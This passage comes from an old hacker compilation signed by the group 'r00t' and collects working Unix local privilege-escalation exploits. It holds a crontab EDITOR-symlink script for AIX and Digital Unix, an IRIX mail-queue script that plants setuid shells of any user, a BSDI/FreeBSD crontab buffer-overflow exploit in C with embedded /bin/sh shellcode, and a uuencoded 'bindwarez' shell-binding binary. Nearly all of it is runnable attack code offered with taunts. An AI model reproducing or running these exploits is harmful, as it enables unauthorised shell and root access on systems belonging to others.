- /^$/d
- END
-
- #shell script
- cat >myedit.sh <<EDITOR_END
- #!/bin/ksh
-
- rm \$1
- ln -s \$HI_MUDGE \$1
- exit
- EDITOR_END
-
- chmod 700 myedit.sh
-
- #save old vars
- oldedit=$EDITOR
- oldvis=$VISUAL
- VISUAL=./myedit.sh
- EDITOR=./myedit.sh
- export EDITOR
- export VISUAL
-
- #do the exploit@!&*&*(!@*(&
-
- if [ $UNAME = "AIX" ]; then
- crontab -e 2>.r00t-tmp1
- sed -f aix.sed .r00t-tmp1 > $YUMMY
- elif [ $UNAME = "OSF1" ]; then
- #FOR DIGITAL UNIX 3.X or higher machines uncomment these 2 lines
- crontab -e 2>.r00t-tmp1
- awk -f 1.awk .r00t-tmp1 >$YUMMY
- # FOR PRE DIGITAL UNIX 3.X machines uncomment this line
- #crontab -l 2>&1 > $YUMMY
- else
- echo "Sorry, dont know your OS. But you are a bright boy, read the skript and"
- echo "Figger it out."
- exit
- fi
-
- echo "Checkit out - $YUMMY"
- echo "sirsyko and kmem kickin it out."
- echo "r00t"
-
- #cleanup our mess
- crontab -r
- VISUAL=$oldvis
- EDITOR=$oldedit
- HI_MUDGE=''
- YUMMY=''
- export HI_MUDGE
- export YUMMY
- export VISUAL
- export EDITOR
- rm -f $GIRLIES
-
- ------------- cut here
-
- ............................................................................
- . .
- . 4. IRIX mail exploit to make you any user on the mahine - BUT NOT root .
- ............................................................................
-
-
- ----------- cut here
-
- [irixmksh] [public release]
-
- There are bugs in the IRIX mail proggies. This sample script exploits them
- to give you an suid shell of any user on the system, EXCEPT, for uid=0.
-
- Obviously, this script should not be run if you are a clueless script kiddie
- and have no clue what is going to do. If this script causes any sort of
- harm to you, physically or virtually, them members of r00t are not responsible,
- and in fact will probably laugh at you.
-
- r00t -- you may not like us, but your girlfriend does.
-
- Script kiddies cut here
- ---------------------------------------------------------------------------
- #!/sbin/ksh
- # usage: irixmksh <user> - creates an suid shell of any user on the system
- # except for uid=0
-
- FILES=qfAA12345 putq /tmp/x usr
-
- if [ "x`uname -s`" != "xIRIX" ];then
- echo "this box is not running IRIX - later..."
- exit 1
- fi
-
- if [ "$#" != "1" ]; then
- echo "Usage: $0 <non uid=0 user>"
- exit 1
- fi
-
- TargetUser=$1
-
- # Make the mail queue files
- cat <<_r00t-text_>qfAA12345
- P0
- T830896940
- DdfAA12345
- Bblah
- Mdeferred: just cuz...
- C$TargetUser
- Sroot
- R<"|/tmp/x">
- H?P?return-path: <root>
- H?D?date: Tue, 30 Feb 1996 12:34:56 -0400
- H?F?from: root (root)
- Hreceived: by hackerz.dom (HackerOS/UCB 5.64/Hackerz Domain
- id AA12345 for root@hackerz.com; Tue, 30 Feb 1996 12:34:56 -0400
- H?M?message-id: <9602301234.AA12345@localhost>
- Happarently-to: root@plato.coolcode.com
- _r00t-text_
-
-
- # Make the script to run with euid=mail
- cat<<_r00t-text_>putq
- #!/bin/sh
- cp qfAA12345 /usr/spool/mqueue
- touch /usr/spool/mqueue/dfAA12345
- chown root /usr/spool/mqueue/*5
- _r00t-text_
- chmod u+x putq
-
- # Make the script to create the suid shell
- cat<<_r00t-text_>/tmp/x
- #!/bin/sh
- cp /bin/sh /tmp/b00sh.$TargetUser
- chmod 6777 /tmp/b00sh.$TargetUser
- _r00t-text_
- chmod u+x /tmp/x
- chown $TargetUser /tmp/x
-
- # Make the script to grab suid mail shell
- cat<<_r00t-text_>usr
- #!/bin/sh
- chgrp mail b00sh-mail
- chmod 2777 b00sh-mail
- _r00t-text_
- chmod u+x usr
-
- # Now snag mail access and send the queue files.
- cp /bin/sh b00sh-mail
- export PATH=.:$PATH
- export IFS=/
- echo "blah" | rmail $LOGNAME
- export IFS=
-
- b00sh-mail putq
- mailq
-
- # Clean Up:
- rm $FILES
- -------------------------------- cut here
-
- 5. The Root BSD crontab exploit
-
- ---------------- cut here
-
- /*
- ** BSDI/FreeBSD exploit for crontab
- **
- ** For BSDi (Tested in 2.1) the default offset should be OK
- ** For FreeBSD, the offset seems to be around 1000
- **
- ** I didn't find this hole, I only exploited it.
- **
- ** Brian Mitchell brian@saturn.net
- */
-
- #include <stdio.h>
- #include <sys/types.h>
- #include <stdlib.h>
- #include <fcntl.h>
- #include <unistd.h>
-
- #define DEFAULT_OFFSET -1050
- #define BUFFER_SIZE 100 /* MAX_TEMPSTR is 100 */
- #define HAPPY_FILE "./Window"
-
- long get_esp(void)
- {
- __asm__("movl %esp,%eax\n");
- }
-
- main(int argc, char **argv)
- {
- int fd;
- char *buff = NULL;
- unsigned long *addr_ptr = NULL;
- char *ptr = NULL;
-
- char execshell[] =
- "\xeb\x23"
- "\x5e"
- "\x8d\x1e"
- "\x89\x5e\x0b"
- "\x31\xd2"
- "\x89\x56\x07"
- "\x89\x56\x0f"
- "\x89\x56\x14"
- "\x88\x56\x19"
- "\x31\xc0"
- "\xb0\x3b"
- "\x8d\x4e\x0b"
- "\x89\xca"
- "\x52"
- "\x51"
- "\x53"
- "\x50"
- "\xeb\x18"
- "\xe8\xd8\xff\xff\xff"
- "/bin/sh"
- "\x01\x01\x01\x01"
- "\x02\x02\x02\x02"
- "\x03\x03\x03\x03"
- "\x9a\x04\x04\x04\x04\x07\x04";
-
-
-
- /*
- * The sscanf line reads for 'name' as %[^ =]. Neither a space, nor
- * a '=' character appears below
- */
-
-
- int i;
- int ofs = DEFAULT_OFFSET;
-
- /* if we have a argument, use it as offset, else use default */
- if(argc == 2)
- ofs = atoi(argv[1]);
- else if (argc > 2) {
- fprintf(stderr, "egg [offset]\n");
- exit(-1);
- }
- /* print the offset in use */
- printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);
-
- buff = malloc(4096);
- if(!buff)
- {
- printf("can't allocate memory\n");
- exit(0);
- }
- ptr = buff;
- /* fill start of buffer with nops */
- memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
- ptr += BUFFER_SIZE-strlen(execshell);
- /* stick asm code into the buffer */
- for(i=0;i < strlen(execshell);i++)
- *(ptr++) = execshell[i];
-
- addr_ptr = (unsigned long *)ptr;
- for(i=0;i < (878/4);i++)
- *(addr_ptr++) = get_esp() + ofs;
- ptr = (char *)addr_ptr;
- *ptr++ = '=';
- *ptr++ = 'X';
- *ptr++ = '\n';
- *ptr = 0;
- printf("Writing to %s\n", HAPPY_FILE);
-
- /*
- * The sleep is required because as soon as crontab opens the tmp file it
- * stat's and saves it. After the EDITOR program exists it stats again
- * and if they are equal then it assumes changes weren't made and exits.
- */
- fd = open(HAPPY_FILE, O_WRONLY|O_CREAT, 0666);
- write (fd, buff, strlen(buff));
-
- close(fd);
-
- execl("/usr/bin/crontab","crontab",HAPPY_FILE,NULL);
- /* Successful completion */
- exit(0);
- }
- ----------- cut here
-
- *********************************************
- * Appendix VI - UUENCODED FILES *
- *********************************************
-
- 1. Quantum's bindwarez utility uuencoded
-
- Bindwarez binary file for use with Quantum's PHF guide for login shells
- in the PHF section here.
-
- begin 664 binwarez.zip
- M4$L#!!0````(`'>"0B)K$\T.%CD``.QW```)`!``8FEN9'=A<F5Z55@,`"GG
- M]C("$_4R`````.U]>UQ41]+HF6$&!QP<5#1H4$<C$9.(X"MB-,IC$#8((\-#
- MHX8@C!X(`@MG?.2*8@82QLF8B4DV^7:3K*S9;]W-8]W=:$A,%!\!\]B$&'?C
- M%]TLV9CD3,9DW3P0$9E;5=UG9D#-XOV^W^_>/R[\ZO2I[NKNZNKJZNH^/>=L
- M-66EJU0J0?E3"R$"88]I=+,@>$YB\;,$HZ`5XH110I002CA`/=``[()[!"V`
- M!B`$X"0"I"&,A/N1/$W%@?X@#2'L/D%`P/Q")$N/!#SRDD:'T`$5[IHL4+V8
- MKH;`_%,`E5:'X`8<(937,;VB;/7TBM)I%665MHWQM57QB<+Z5(B_FU>[@(>W
- M`.0`+`;(`I@&,!,@%Z`0(!S@)H";`3#_(IYO*<!"?K\$(`W@=H!8@!$`>0`Z
- M@-LXS7*`N_A]&,!D?J_G80CG>RC`?&P;C[\3P``0`Y``,(_'+P-(![``3`+(
- M!I@-4``P7`C\H<R',)$)TWG<,(`)`I?UC_S=&'2/\H[B]S."XL<"F`"2`>;^
- MF_)^[&_,5>)">7C#@/C1`+<"3!D0/Y6'<5<I*Q$@'F`.Q\?S\`Z`<0`10;0I
- M/$0=C.;WLWB8-*#<G_!P%$`^@!%@(H_+Y&'&5?C!/GIJAT:'?(S@]1P''-,F
- M<?Y0KQGMOWS8UNA'-+JUG![;$@=XA8;ABP#$1P+Y49]QW&@HOY[TM9Z7/P(T
- M`G5;=`?H5P'(@-_,R[<"=`/^)L?78?V/!NAMF#\(_U_8GB#\`8`]@'^J8OFW
- M(S__4.H/I[&Z;">S+YC^I(!C)=#>%R%L@O1ZGOXZE@?\;^0X\M4"^%2.OPUP
- M"O`X7O\'V![`Y_+TC[$]@-_$\<\`="`O&\?/`W2"O)F\A@L]$)[EN!%["]HA
- M`Y['T_6`SX7\6WC^$8!G!,E_#.#+@O#Q@&\$/$/%\,D0SE<'ZKL5\"9(WQO"
- MRDL"_"G`E_'\BS#]4XWN3JHO3%@,^!Z>CO39@+<$U9<'^/$@_&[`3P$^A]/?
- MB^T!?#5/MP+>#?B?>'HMX+H@_=@$>'00OA7P.'>`OP=1'H"G\_P[41[N0/\^
- MB_)P*_TO"+]6!?33"/KY(LHGJ/Q]V-Z@\E]#>0!>P?$W`5\$\E-S^7V(\@BJ
- M[^^`IP7)]PN43U#Y7I0/X/_B]-^A?`!?R?%>;#_H;X::X2$0Q@&^DZ>'`3X7
- M<#,O+Q+PC"#]'P7X,L!G<?T?!_A&P&_C^2<#W@3X&8['`]X">"K'YP)^_%$V
- M'K&\%,!/!96_&'#YT<!XS0:\.XB?0L!U,'Z6</M@!3P:\%\H_8OM`3Q/Z5]L
- MS\Y`^8W8GIV!^EV`BSL#_?$?V![`6_2LO%\!_M1.13\%X47`]P`>R?$_8?N"
- MRF_!]@7AA[!].P/V[2VL/ZC__@O;&T3_=W5@?%+_`J[A]@7MQ]=J-IX5_/L!
- M.$ZX>R<$X>`O2-::=27%U>@MS!!JI9J2ZDU"656)5"$4I2W/3EZ2F2JLM4K6
- MRO5"41$D2U451665D*FRN$)85UQ1454""9!<5E-5*4!2F21LJ"F3K%A69<FZ
- M:A9"H3561KVFJMI:*:PIJ:BJM0H2E2T)16L@IU`L63="_J+%63DIR5E%.>GI
- M%E->45YR2I:I2*`D8+@$69TMV"IK&5NKL9+J&F!J#;)HK;"62%BIM::FJ@9B
- M5M>6%M66K45^BXI*I$W5UJ+5`B165@E%F3G0IE)`L'AK2850S7*5VJI!&!56
- M:[5052T5UZQ%&8A5M=+J3<6EI35";57)?5:HA556M+%6*@;>:JW6^X02L6I#
- MI;#Z?FM-%:17EF+.TJIUQ665E<7KK)"\KJH4F,?[XI(2:S5D+\)6,=&5K(%6
- ME=566ZVE`C2IU+I14&2[AK=Q-41#R1+R4$79UU3;BDJJ*J6:J@I60!4K`%*1
- M%@2/]];*BJJU`HD=;_S2JX*^J2BKE;!3JFKN8_T%S0&^L7CHLN(*J0S8+:NT
- M2D654E6Q()5`8K$DU0B44+NIEDH4;=!2:+Q?5M1*P&JM->LYM@;0$H6"8FIY
- MNR`.N*YA<5+-&BH:.U2"]I5L$(I(`4AYL/5EI<!&+6=#Z5C0SJH-UAK62LC!
- M>AE:NA'D9"TMEHI)(6JAUXMK,`K$\\2'*3A&M&/97*>-87.4=B*SM=K9S*9J
- M;V=C3YO/QJC6@KZ?5C<$YS0,H]`?@7`4^L40XEC&<#3ZV!#>@/XMA-'H)T,X
- M!OU9"&$PK\00'--[,03'K!1#<(9$#,%IK<`0',-J#(V"(&$(!F$CAC"Y;\80
- MG/!Z#,%X-6`(SE,3AN`</(SA5%PK0`C._^,8@C/Y%(9@G)_&<!JN92`$)^LY
- M#,%QWH,A..`O8`@._%X,P1%^&4-8,+1@.`O]%`AADFW%$)R/8QB"TW@<0W#>
- MW\40%A4=&`[%-1*$X(2>PA!LZ1D,80'0B2$L4LYB"$95QA`6'.<PC$!_!<)%
- M@O`]AN!\=V,(CGTOAKA@@/X9`HZL!D.85'08PB)%CR$X[)$8PF0=A2$XB]$8
- M@J,:@R$XKD8,?X)^"H2P<(G#$-R@VS"$A5("AK#PF84A+#+F8@B+D/D8YJ"_
- M`B%,1FD8@O.9@2$LJK(PA$EG8?F,JB$[;(\_U_-+B[P"%.B((/AF)P#WOMA9
- MW`_TQ:)6B7CKZ?3!7RQJEXAIG@["4<M$G&(\K82CMHGH2GOV$HY:)QH1WT4X
- M:I^(+J+'33AJH8C+*D\]X:B-(KJ,GFK"42O%18C?2SAJIXCNO,=,.&JIB%.N
- M9Q'AJ*TB3I&>!,)1:\5[$3<2CMHK8H,\D82C%HO5B`N$HS:+Z.)ZSO<ACEHM
- MUE/["4?M%INH_82CEHMN:C_AJ.WB4]1^PE'KQ5W4?L)1^\4]U'["<12(>ZG]
- MA.-H$%NH_83CJ!!;J?V$X^@0CU/["<=1(G90^PG'T2*>HO83CJ-&[*3V$XZC
- M1Y2I_83C*!+/4_L)Q]$D=E/[+R/>0OVOPO83_CKU/^(=A+=2_R/>2O@QZG_$
- M]Q)^G/H?\5V$OTO]C[B;\`[J?\3K"3])_8]X->&GJ/\1OY?P,]3_B)L)[Z3^
- M1WP1X6>I_Q%/(%RF_D?<2/@YZG_$(PD_3_V/N$#X]]3_B)_O1;R;^I_:3W@O
- M]3^UGW`<Y:*;VD\XCG;Q*6H_X3CJQ5W4?L)Q](M[J/V$HQ40]U+["4=K(+90
- M^PE'JR"V4OL)1^L@'J?V$XY60NR@]A..UD(\1>TG'*V&V$GM)QRMARA3^PE'
- M*R*>I_83CM9$[*;V7T(<K8J(>P^>3L+1NHCH\WLZ"$<K(Z+K[6DE'*V-&(WX
- M7L+1ZHA&Q'<1CM9'C$/<#?A3XJ_V;'K[[M\L=WSFZ'2\K3H!_QWV5DWBU_GY
- M^8[/S9:E+3C6#J`!^G.],VVR;C<N60RO:'$V-,LKH4C[,8W\/?`NXN)6#N<Q
- MMT#I,B[_S?(4B%KA>AG]:($'*&`HT'N!XY8#<="O]@5X%:0(MS/$UV$_JK'?
- M(=B^7W'4->>HV^T&?NSGC(4%EG;3.<Q^`#>,VDV=QX&A=JUYA%97<:,6[HPW
- M*'=Y$-<T`N]F&;2ZN!OP;E$DNVO&;+LWJU%:P+<SOS/7(J^[C,SK[=T^0P,N
- M7UP9A^T7IQL>\D!]OLFNVQ[7Z%QS)OQ,H],/@*@GKHP;+,C_C;P*G'N\/W[\
- M&F6>@GCG;/1H#B5"JU_%_:_>/<)W_VEH1)OAT[X`4O%\!9;(-8?3S4&Z(0J=
- M+:(^8C*(;[CG32!R<YH%2!,VD$;M:0ZB24<:W4`:C:<NB";[JC0ZS_(@FH+^
- M-*6,)M(S&VG:M7LNL160)Y;A>Q5\%.+B/9!;M.%E!U[0QY,W]&"O1WJ^@]YW
- MK1?,XN/^I)64I)?GXX#YD*4WHP,X]2AHC"OJ`4=^IWT!"DTP-."&@/V2:DNX
- M'('D_R$0:BL2_\`4S*DVR\]?P@)UC:TVB6+*A?+P<A@CN[N)AS6[/X:RUD#R
- M.)9!W.?GI>,BC*@_81W']&N:D>[!8]Y$UQPJ7GP/!]\2?^FCQ;_X,SX)&<M5
- M,HY_YR(=JP+J596KY:>A6D<[%-CHJQLI7L(RDKJ)NN82ZD"YQF4Z9RY7EZL*
- MY6HL)E(\!;D+9<M%K,G8V%H7)0[]#+*I6;8[+I&,D+[S(F>F;K@8B21_OT`D
- MT4#2;I+19W&[3+*9E]B,K+0A*UU0Y@V8X266X<L>*E/^)10(37NG7"B0=T-2
- M@3P-BBJ4IU"K([U#77,:3V_1RH]`R>71Y5IQ/!;BZ<;JSF)U+M-9LVO5>4NY
- M(-=2QT8#<W'-:`3,XLV?*?):"SG$6S'O-,;`@\C`'/L"TB4IB@LE#"0HR'=3
- MQT6U:],BF<MFD;>"84IL=5E/KKBGR'%NU5'@'6R7>+N_@E"L(-V/7H!:1+,?
- ME1%]P(_^UP62M-CDCVE'@AU^M(4Q>1BD@S9RVSF<+0HL/NV]8/J:\;*['B[`
- M;;1\!L0`-T;Y0W9SD_PVNYDB'XY$S3)ZM?)6<`\-![7B<+#(K9H].MO7VT=5
- M`V(X>(3A?X/46G_J^X!M\&.'NXYHI)CRT&8TM&;Q&Q"9W(9-(,L;"OW;17F#
- MB;Y'HN8!1!L&$/4@T>8!1.(`(AF)"@<051/1:.\0UQQY-RR$FE$<25H)KIN_
- M4;BYP:M#';,'TC?S]`W!Z26!](T\G7@P-)R#OF<T"P,TU?UIT&]LGH^<RI-H
- M(&L:6PV-?Q1P<:=2DES/H"=LD>_M(MOCVH>.(90;1%(@IT*BO#U0W(=H;(Y%
- MPO!8VX]N*"NDL54*XUS87@DBL,A?_:`0Q,OS^C-BD?_L3QQ.\19>VYL0WX+N
- MNNO7W6`45]R#:@ZZIW1(RA7*UZ^#]O\0W$'4+T-O'B`S&CASF#[#N'*:P#O`
- MR@7;4'(>6+K9U2C`8#++G_U`MN%L8BLF\'&@PG'@7*63/X7E\^YE4"Z,]Y'B
- MDS!TFM.H(<MN0;'I#(="S#"J4S5F^?[OE"8/<0I>`\C=B=&/D20TY0O-8GTH
- M#+JCW_M\;=I#<"N4+Q);PR'J/)"P.VH?&A<IT@G3"<7-^):LH1P**_2V1NQA
- M0>GHQ;UH^<I5)%QHA+9E+W!H%EO0!)5#198"5FDYK/*;L1EFSCX^LH$NZ%.Z
- M@+6[6B,(Z"8U]H)A1%G)23<*0I?6`GVCLNEAM(?(J<.IX7"ODMOU9`(FR`?9
- MC5:.A=1V;0;2"Q0U4?Z5GIF'4+=<-)GL0U6P?5@*2-<1G5351?$:*1JLA5<O
- MSV2T2P.T783H)%.7EB9N:8;X!G8(Z8=\`)KK'(7W":V.CWI?127[]B7'\0L=
- MKC2U;S<F$-OR#N)'PTICK5+)Z\B&Z5S/8,LMHC$/%4=OEC\_#Z/E^U!08'$B
- MQBW1+94_.(\DA-;I"^4CY[%_)I=K+#`AJ[A\Z[Y%TUH>)9\]3S>CY=.,3-0=
- MACETN/PNQJO%#[&GJH%UQU$<A*<WCRX7Q$EY.!F48S5RP_<T18EGD/`W5`8,
- M?2D\X*^(GT(2:',?:O/L5&J'O5ME6^=RX<+`X>K&F?69;FJ8!XN)`2)'FT4\
- MAX@!D48WI?X3(_I2(`*XB;:_@;&"-,9)-_4+!6E8(=/)9__)9NC3MF$'OH5,
- MWB$'OH,@L8N2"^2WIS`V%A"3TLCZ.R"O6`_3I46^/X[2G*-$<+4;3T@WN%)4
- MYN;G+J'B(H6L(H77MVLQ#F,23A_$P'&AZ92_7]^^<,+1D;$;RV#JH)+FBT//
- M@KL4@5V]5'[^6T4?''_ME_.="Q\ZGGD<99(WUN<8Q14#?#'<T:Z+L"_`,@7#
- MPSTP&;N>.`6$B:WD-H)6??>\ZXD6B`G&G^J'-^."(8E,E"V,E[5E&.B-X7D7
- MYO3JP3^NTQN>?P-+;C:3X<*%!U(3"UOTH'F&YQN).ISE1%K[@JSA:,7"G740
- M]0966RZX&C$$8];"`B0TET?*7R\"?HZ`>]%X8NMD>X_/!NVB+7]#PP@0`XS4
- M`]^0+GE"?-PW!8X-NZDXP\[6ID:44`,I6A8?S<X(1D/<&'8>;G(1S5N&AC^0
- M^0?C(>*BB0^!GX..[,86D5&L&\T8&&J+:->^P!\>>*/=O-&&'4XU6@YEX<7Z
- M5"O-;<9DLWC+6?]`/W%^$`-=SPK02&-8`<U8L%E,AF+D'Q:0)XQ2WMUXJG][
- M#0W;5$I;6L%R.I?HE\H=("K'$0<I+#;F1-U$YRALC+UGJ*2U]VAMP]NUU-.T
- MFP,%H,_'U&@'^MU=6BQ++4V7+T\$.2Y`'MN&^'RD)M2L-N%;AC'US71$S#6@
- M%'Y*)C%M^R@LH.M(@I1$6SZB#RY-':VRUMZI,I=/%'N42#$M(*D]_PR:+8V^
- M")'6MCBJ#D-I'GQL[':.P_26.$B:>@K,AF''#O0-D,BP/])'U-F.V9AU6P]6
- M8`MK"PGFO"F2(?:>"%M&E]9,1G6AHOEQ5-+VR/J><%N,GQ[C6"[&E-?@YE(0
- MN!2HPL8NPR.X3P!3./14RP#-C*(LM](*O;$5O'<KR%890UIYH0K--72QJV6@
- MNN+^23..N5MI\0^>U([+N.DP=P)TWW=\'2+(4\?A'-EP">?((NZGR%%`(SNC
- M<#1@"3X:N\Y1SXW6ZO9N!6NFWJYN4@5\=_DL.!#RBBOHCR%]S%7H7QX_D/0D
- MDHX-)@4Z9H?%I8'./O#UOQT6SKI>9:Z7CX\<6,^[6(]F0#T6SSLP%("WEHH)
- M*"\D)2TY`M$TJ`S[HWTT;'_B&(6R;U[6JP$2G>&A=1K<^VB,^S7N?:R%ZPL`
- M60!S]VATU0`K?ZO1E0)4`$B_Q;T8S(N#J/&TH2%7@ZO@<$-#)MQLNT2Z-YR1
- MH#7RS-#0.+L481O)U$YC"V?)^%R;^K<IFC7.$TJT+GL4[C%UCS0\]'@(\7:,
- M>%,!+WJ`:(#O?Z/1Y?R6P3*XG_N?&ET4P&:`90#ZWS#`]*<@?!G@&,!)@+,`
- MDZ$,Q3\99A'O18,3%TLSGOPZ>+R>L2$D3TYC:,"'[YQ.8'2>5C(9_<LX.YF5
- M@=.\YZ_JX#+\-*V<ICH&=.Y+\,2:7QB-ZBV-W![9<$**8#*)9#*1:T"]^:@;
- MC"7B[*[`9]G?HJ%9AU4N855ZTB#:/9"?!,Y/)SB1<N%P[,4+V(M#FL\`7UYM
- M\UD(D#5#@T:M=%FD!X^^75'6V9NH+#ZWC(`2=^.\%+Q<:!B!YEGC02_?S32!
- M-OJT9M2JH:`&Z-."W%@:[F!YO@[0XHDIS]\"..Y<>?X<P.G1R1LJXJV,K<KP
- MX(C\$E@33QK&RW?@;1+9?]D'=L,SC>[[Z^(8BN,*'<G*QB?QGF(LHQF972!$
- MP,"RX^8X9L,H3RKC?=LEM/^&!MQ<965(*P-Y:L=19R(>%*E3"J$X>VO?;@QW
- MY_72]B<7CCPZ3!""AM?[O<PO"!03YB\[(%S/"SC6`C3CKU8_9#P_"`:>T"D,
- MD&^0[[;(_\";T;#6!/7P#K/(<Z#3O*$6^>XAP:30Z=XIM/]V/Z@*K%%R9##P
- MF,IBY.F?TT;'*1E-)!JIQA.&1W"?V;FJ-V![<<%GK],+4E+]@?D&=+7"NNS,
- ML!1LIQM8A639+X7:PNMC"P"]X`USZW5-E-1GQRP6<4ZOWR)/E97I-\3OD$1*
- M0RWB8\C32/0$6/5HSVFYF=B5Z`M2_%\BG==(BK^=RH=I[[:F(WUO-SV&V'R5
- M-)YS*.DT?4U$PGDW-*+NL52=H5%+.XQ3#`^=QF>#DY]Y_7<:G7OE\V!W`1X!
- MV,%#A%-!]_\=V/%OTA#JKT&+N'Q3!*XAY1A8G,F+X3X=>SH&QF.6HB2&^@@!
- MQ!52'Z'#(+VQ2QI>[Z1&E\,:ZF:PEM[)K&\`]T:Y<5]U=*``6OS%D`[I6#Y-
- MHT]2^SYR6;]7-N'F!.O&+0-U0UJLZ(:T8/*%_LIP1T`98KZXAC*\B)T<.L&O
- M#`%=#-*$`TB$>Q'_7A-L5VK"MB!-:)`43<BF1Q//'']!@WM/&U_4Z$0`_4O]
- MP7V5N/\3:/TWY9R$]*<YC3R`MO=%M!-9BF5Z`N<'&0\`@).&!W+E6X<R([#%
- M-8>/3,_C0+1=B[HQN5>O:J*[[5J='\<[;[9K3O`$@OM'WGG]XW"OSWMS_SC<
- MW_..Z!^'>WI,$9J.U/_C0M-CI!,P+E$-#\#$7[\;8R[Q7G8/T*F,R""=4MD4
- MG5+;%NC5BDXAC45<%-"IXY]=0Z?>0G7Y8\P`G>(F)DBM/D*Z[3%<K;#\@%HA
- M%E`K%3,P&,F9-31:_&JE-C2F*VHUAJE5S.\UNG<!7@>(WPN^$0^_@?![?C]8
- MT%T'[?6`?%1']N7IH3B[P)S])X:_"[C\D8[;F[O`WJSDYB+=NX#6!A9Y?I_2
- MI;W>/(BKCUB-@B@7RD?(^+R>X2JY(XK4]&^TOZ0'\S2"F1DU%G(!]`+6/JQK
- M,0)/[[%TE<O:S;;FKK`__77%;W_48'\N]]<54T!7GO[T&KKR&>K`@V-_W/[\
- M"XF*QPY&46Q7*@J>1U84I6$7>[@E3=JJ:SPMZ;WKT8</D6[UKG/+,X>0L++"
- M>7_<Q/#>,+3_0]@83W?-V4X;DCC.+C>-PML]*DD/D@^13_31OE1]+,;V-6.W
- MS5+MQ@"\X`3:O[2#7^.-=0?&ZF4^5E5LK#[B[]B^H+%:8%&D,5&^#+WD'$7N
- M#'HP4SOLK6IS;OE\^>4QU,GDY!CV"\SEL;=>LG=/,CR4R59#L_X(ZZ"7-;KU
- M^_]G0/K3M=,F0SVM?PS@YP?4NV@?KE6JF2_[6UP1#3!\U)(D+;;2\&!3")Y$
- M9XUJ:#4T;@SAGI_R)'+,&=JJ=!RE6(5T_FV2T3D*BV"^;5*'P;X@J*CYM]F^
- M[%>/,00[G179=IJ*-%O*C?)X$*`G)(3\;_Y4Y`=U?YZK!_)\4MV?YV.TR82[
- MY5EJK:X%+PLDN-2F!F5;/X=V/JB#\4A?5YI9!<K1C,?UG%%NVFS'512&V^C1
- M`A91\P8EM`57X,G#A=H<OK-M:#"IN<B<$5A1TG?09$@:XXCA[^3!?D(V/2
- M#2PI[.B`>%S%8)8CA_\Q,,M9EA1VA,7G6LHGR'BZU_..?VVAB.951LH(&UL-
- M#7BT!9?VC;^DY6<^#F9#`YY%EW^/ITJ:V%J&V*?^Q)[$H^[!`BY1]>\1G"K;
- MU&!4*9]9]*$AZ3BM+)/X^D+A*;8_3[81`V=8;YB]&R:;R\JB(\#(5T(P(U(8
- MU[4:;[\*CN$V;9OCV\33@?'9K9)&;$7[$..M`%O4K99RO"5N8-HY#M,='WN7
- M`9^`%\B/*(_>I'%@NR++598".8145(_/D`ODGYVB357G;,H)U7AC^K=Q_3A_
- MQ4WJE>'BKW^7Q4RU1_+=%0RS"JY9F/P6J%05D%\@RHPS\YH&TJ%\1+Z,I.
- MDB\IC[?(ABO/L>2L8<J3(U];HPJN/6V-:@BT;8TA]#CI"0T$"6\9]A_NJB<S
- M+8UI4U]*:0I/J;]XWJ9I4Y^'&Q_>^%+\1#HDNGQUHK[#]1>GK/\]V[_42:/:
- MU#TI;>J)*=OIT1"T'*F1$$/V-,OQUZF?`*_'T)_[103--/X)J,!2?J=<`#.I
- MO"WBRN=6_J=Z=,Y'ATNI.IUSE=YIBY0_Q=G&-T'2V7U&::%WE=LQ;@]VS>SG
- MJ&L/_R/2\(JI.ZS#8>IVG%\#5Y>IVRQ&Y2F/R^2S?V7=>Q/(U#'N:<J["ZX%
- M\B<:?$KS'%SEY]D"0OY,#]Q9S_&%@]O/CXR_G#N(;+[:-%JK>^U1N!QZ'"X'
- MT*MP%^86./)['4NZY9_AMJX=:9Q+NMO2QJ@%N(30;G5^K_V(SMZNLQ_5I=O[
- M1FQY.U`1K1]%7&ISIJ?_E\]W:#+@!S&REP[8?/=K4!H_??ED$=,IDWS^+\J3
- MRQ$44:XT_@*4$]`G9[[>N232:=)EV+N'&Q[:3XY>H^Y56C_L>DVC0W@*T$7\
- M'F$OX&:`97`O0E@/T`T0"7@<P'&X[P2HAOLF@.W:41&H(>TJ#/&7#M2U[NW:
- MD3Q^Y(#X*!X?-2!^.(_'L&5U('X$CQ\Q('X,CQ\SH)RQ/'[L@/@)/'["@/AQ
- M/'[<@'@CCS<.B!_/XS%LF12(OY''8]B2$HB/X?$Q`\J9R.,G]HL'B]*NHH-S
- M(?YGW_ZXP#-O^[DTT%,Q_G.83#(N0Y?)]WWD\]&M*T/G6/*Z:V-88A=Z?P\F
- M`8USR>M-JK8A"<Y11&%J!?]')3]UDNO1Y@6)IT$GMMM_`K1-0\K5O,R'/L('
- M*?C@\,268137MD@K.3J\(]RI]DN&+>^!9ANV/,T."%CW!H^C.IT@#:V/T$/C
- M=!AIC\7;"_W3[;&HOG_'R/H(O#7V2Y_0K(.XV/?!>N@3=N.]/58#USZNXY0\
- M^?T(//1*R?41F*SLA3=CB8=E[2R5O=,?AP3^"#9.*"X6?Y6X`"^&QUMC?7[9
- M*[P8ME'92$`\;B-.?%_R`8=TS7JJ+RRX/IZ7&N^[S(C=VT@L>'@GD%<@'E3!
- M\X$S'SP>D+E]`5Y]DCXIL@[<4YU]KL_VO7.1QLRLP8D/@W@89)X[@_.`S0.#
- MK1970.?+C_^%'<[2-7;YGVT7R#L^P$-8>\CN1'+EZ*.Y&2>^KKHH%L=W>^>&
- M,?,:14]!T7(+^+04#;D@W5:N<ZWJMLAWG0!]Q2BPXCW-S[&;;@O9\@)YW`=T
- MV(HK$.M7#0FI_EU5_=E_[B;KN8O<CJW:EOI8/'[:2ZL)3?/3_:/_`-%R2P^V
- MX`&!/V[WV4:*I9_[3X<\J`OL5H-'L27,+!\XR0I#RXI1H69Y#T0YSKNLYP-S
- M&:Z[RFF!>1]P3,>7+?(NO%73K>DDGE:IT](0&;"7(,]EB2/%R@`GO4/8<0U!
- M'$:G"J(Z^!@%L@T!LK\P,O`WAF+E6XA*A^NTH>!_R)4*KI9&EZLM\CU^?$NH
- M1>[\$)^1]UL_TB1,,_!-)_!P0^-IJ*\A4)_57]\PVH)[XWWP;V+H_!]@OP=,
- M_B.H=T$A*&"NC#_^#FS(47L/9.#TY4`5>Q2H=R,*$UB$O?4RW1_(@DL[VCSP
- MQ_'D,48.W&\%_L2'/\<5C/P<:E^[N/-S/%'X)"&60GD'BWV"8K<1@B?J_@.K
